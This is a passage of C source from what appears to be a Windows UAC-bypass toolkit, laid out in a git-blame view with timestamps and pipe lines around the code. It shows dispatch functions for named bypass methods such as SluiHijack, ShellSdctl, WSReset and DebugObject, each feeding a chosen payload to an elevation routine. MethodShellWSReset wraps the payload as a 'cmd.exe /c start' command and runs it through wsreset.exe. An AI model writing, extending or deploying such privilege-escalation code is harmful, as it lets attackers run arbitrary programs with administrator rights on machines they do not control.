2017-11-08 05:42:05 +00:00
|
|
|
//
|
|
|
|
// Select target application or use given by optional parameter.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
2017-11-08 05:42:05 +00:00
|
|
|
else
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
2017-11-08 05:42:05 +00:00
|
|
|
|
|
|
|
return ucmFwCplLuaMethod(lpszPayload);
|
|
|
|
}
|
2017-11-10 06:31:20 +00:00
|
|
|
|
|
|
|
UCM_API(MethodDccwCOM)
|
|
|
|
{
|
|
|
|
LPWSTR lpszPayload = NULL;
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2017-11-10 06:31:20 +00:00
|
|
|
|
|
|
|
//
|
|
|
|
// Select target application or use given by optional parameter.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
2017-11-10 06:31:20 +00:00
|
|
|
else
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
2017-11-10 06:31:20 +00:00
|
|
|
|
|
|
|
return ucmDccwCOMMethod(lpszPayload);
|
|
|
|
}
|
2017-11-22 09:54:51 +00:00
|
|
|
|
|
|
|
UCM_API(MethodVolatileEnv)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmVolatileEnvMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2017-11-22 09:54:51 +00:00
|
|
|
}
|
2018-01-15 10:53:43 +00:00
|
|
|
|
|
|
|
UCM_API(MethodSluiHijack)
|
|
|
|
{
|
|
|
|
LPWSTR lpszPayload = NULL;
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2018-07-14 17:15:02 +00:00
|
|
|
|
2018-01-15 10:53:43 +00:00
|
|
|
//
|
|
|
|
// Select target application or use given by optional parameter.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
2018-01-15 10:53:43 +00:00
|
|
|
else
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
2018-01-15 10:53:43 +00:00
|
|
|
|
2018-07-14 17:15:02 +00:00
|
|
|
return ucmSluiHijackMethod(lpszPayload);
|
2018-01-15 10:53:43 +00:00
|
|
|
}
|
2018-01-19 10:41:27 +00:00
|
|
|
|
|
|
|
UCM_API(MethodBitlockerRC)
|
|
|
|
{
|
|
|
|
LPWSTR lpszPayload = NULL;
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2018-01-19 10:41:27 +00:00
|
|
|
|
|
|
|
//
|
|
|
|
// Select target application or use given by optional parameter.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
2018-01-19 10:41:27 +00:00
|
|
|
else
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
2018-01-19 10:41:27 +00:00
|
|
|
|
|
|
|
return ucmBitlockerRCMethod(lpszPayload);
|
|
|
|
}
|
2018-05-25 08:27:20 +00:00
|
|
|
|
|
|
|
UCM_API(MethodCOMHandlers2)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmCOMHandlersMethod2(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
2018-05-25 08:27:20 +00:00
|
|
|
}
|
2018-06-15 11:44:01 +00:00
|
|
|
|
|
|
|
UCM_API(MethodSPPLUAObject)
|
|
|
|
{
|
2018-09-02 07:28:59 +00:00
|
|
|
return ucmSPPLUAObjectMethod(
|
2019-03-16 07:22:48 +00:00
|
|
|
Parameter->PayloadCode,
|
2018-09-02 07:28:59 +00:00
|
|
|
Parameter->PayloadSize);
|
|
|
|
}
|
2018-06-15 11:44:01 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UCM_API(MethodCreateNewLink)
|
|
|
|
{
|
|
|
|
return ucmCreateNewLinkMethod(
|
|
|
|
Parameter->PayloadCode,
|
|
|
|
Parameter->PayloadSize);
|
|
|
|
}
|
2018-06-15 11:44:01 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UCM_API(MethodDateTimeStateWriter)
|
|
|
|
{
|
|
|
|
#ifndef _WIN64
|
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_NOT_SUPPORTED;
|
2018-09-02 07:28:59 +00:00
|
|
|
#else
|
|
|
|
return ucmDateTimeStateWriterMethod(
|
|
|
|
Parameter->PayloadCode,
|
|
|
|
Parameter->PayloadSize);
|
|
|
|
#endif
|
2018-06-15 11:44:01 +00:00
|
|
|
}
|
2018-07-14 17:15:02 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
UCM_API(MethodAcCplAdmin)
|
|
|
|
{
|
|
|
|
LPWSTR lpszPayload = NULL;
|
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
|
|
|
|
|
|
|
//
|
|
|
|
// Select target application or use given by optional parameter.
|
|
|
|
//
|
2018-12-12 07:44:47 +00:00
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
2018-09-02 07:28:59 +00:00
|
|
|
else
|
2018-12-12 07:44:47 +00:00
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
2018-09-02 07:28:59 +00:00
|
|
|
|
|
|
|
return ucmAcCplAdminMethod(lpszPayload);
|
|
|
|
}
|
2018-11-10 09:42:19 +00:00
|
|
|
|
|
|
|
UCM_API(MethodDirectoryMock)
|
|
|
|
{
|
|
|
|
return ucmDirectoryMockMethod(
|
|
|
|
Parameter->PayloadCode,
|
|
|
|
Parameter->PayloadSize);
|
|
|
|
}
|
2019-01-25 06:42:24 +00:00
|
|
|
|
2019-03-16 07:22:48 +00:00
|
|
|
UCM_API(MethodShellSdctl)
|
2019-01-25 06:42:24 +00:00
|
|
|
{
|
2019-03-16 07:22:48 +00:00
|
|
|
LPWSTR Payload = NULL;
|
2019-01-25 06:42:24 +00:00
|
|
|
|
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
|
|
|
|
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
2019-03-16 07:22:48 +00:00
|
|
|
Payload = g_ctx->szDefaultPayload;
|
2019-01-25 06:42:24 +00:00
|
|
|
else
|
2019-03-16 07:22:48 +00:00
|
|
|
Payload = g_ctx->szOptionalParameter;
|
|
|
|
|
|
|
|
return ucmShellDelegateExecuteCommandMethod(
|
|
|
|
SDCLT_EXE,
|
|
|
|
_strlen(SDCLT_EXE),
|
|
|
|
T_CLASSESFOLDER,
|
|
|
|
_strlen(T_CLASSESFOLDER),
|
|
|
|
Payload,
|
|
|
|
_strlen(Payload));
|
2019-01-25 06:42:24 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
UCM_API(MethodEgre55)
|
|
|
|
{
|
|
|
|
#ifdef _WIN64
|
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
2019-03-19 08:47:16 +00:00
|
|
|
return STATUS_NOT_SUPPORTED;
|
2019-01-25 06:42:24 +00:00
|
|
|
#else
|
|
|
|
return ucmEgre55Method(
|
|
|
|
Parameter->PayloadCode,
|
|
|
|
Parameter->PayloadSize);
|
|
|
|
#endif
|
|
|
|
}
|
2019-02-17 05:01:05 +00:00
|
|
|
|
|
|
|
UCM_API(MethodTokenModUIAccess)
|
|
|
|
{
|
|
|
|
return ucmTokenModUIAccessMethod(Parameter->PayloadCode,
|
|
|
|
Parameter->PayloadSize);
|
|
|
|
}
|
2019-03-16 07:22:48 +00:00
|
|
|
|
|
|
|
UCM_API(MethodShellWSReset)
|
|
|
|
{
|
|
|
|
ULONG Result = 0;
|
|
|
|
LPWSTR PayloadParameter = NULL, PayloadFinal = NULL;
|
|
|
|
SIZE_T Size;
|
|
|
|
|
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
|
|
|
|
|
|
|
|
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
|
|
PayloadParameter = g_ctx->szDefaultPayload;
|
|
|
|
else
|
|
|
|
PayloadParameter = g_ctx->szOptionalParameter;
|
|
|
|
|
|
|
|
Size = ((MAX_PATH * 2) + _strlen(PayloadParameter)) * sizeof(WCHAR);
|
|
|
|
PayloadFinal = supHeapAlloc(Size);
|
|
|
|
if (PayloadFinal) {
|
|
|
|
|
|
|
|
_strcpy(PayloadFinal, g_ctx->szSystemDirectory);
|
|
|
|
_strcat(PayloadFinal, CMD_EXE);
|
|
|
|
_strcat(PayloadFinal, TEXT(" /c start "));
|
|
|
|
_strcat(PayloadFinal, PayloadParameter);
|
|
|
|
|
|
|
|
Result = ucmShellDelegateExecuteCommandMethod(
|
|
|
|
WSRESET_EXE,
|
|
|
|
_strlen(WSRESET_EXE),
|
|
|
|
T_APPXPACKAGE,
|
|
|
|
_strlen(T_APPXPACKAGE),
|
|
|
|
PayloadFinal,
|
|
|
|
_strlen(PayloadFinal));
|
|
|
|
|
|
|
|
supHeapFree(PayloadFinal);
|
|
|
|
}
|
|
|
|
|
|
|
|
return Result;
|
|
|
|
}
|
2019-10-24 04:33:03 +00:00
|
|
|
|
|
|
|
UCM_API(MethodEditionUpgradeManager)
|
|
|
|
{
|
|
|
|
#ifndef _WIN64
|
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
|
|
|
return STATUS_NOT_SUPPORTED;
|
|
|
|
#else
|
|
|
|
return ucmEditionUpgradeManagerMethod(
|
|
|
|
Parameter->PayloadCode,
|
|
|
|
Parameter->PayloadSize);
|
|
|
|
#endif
|
|
|
|
}
|
2019-12-18 18:01:17 +00:00
|
|
|
|
|
|
|
UCM_API(MethodDebugObject)
|
|
|
|
{
|
|
|
|
LPWSTR lpszPayload = NULL;
|
|
|
|
UNREFERENCED_PARAMETER(Parameter);
|
|
|
|
|
|
|
|
//
|
|
|
|
// Select target application or use given by optional parameter.
|
|
|
|
//
|
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
|
|
|
else
|
|
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
|
|
|
|
|
|
|
return ucmDebugObjectMethod(lpszPayload);
|
|
|
|
}
|